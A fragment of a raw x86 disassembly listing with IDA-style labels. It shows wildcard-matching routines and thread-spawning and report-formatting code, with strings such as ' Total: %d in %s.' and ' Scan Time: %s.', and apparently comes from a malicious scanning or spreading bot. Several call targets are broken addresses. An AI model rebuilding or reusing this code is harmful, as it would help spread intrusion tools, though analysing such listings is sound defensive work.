		jz	short loc_40B74C
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
		db 2Fh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		call	near ptr 2690000h
		nop
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 2690000h
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2690000h
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
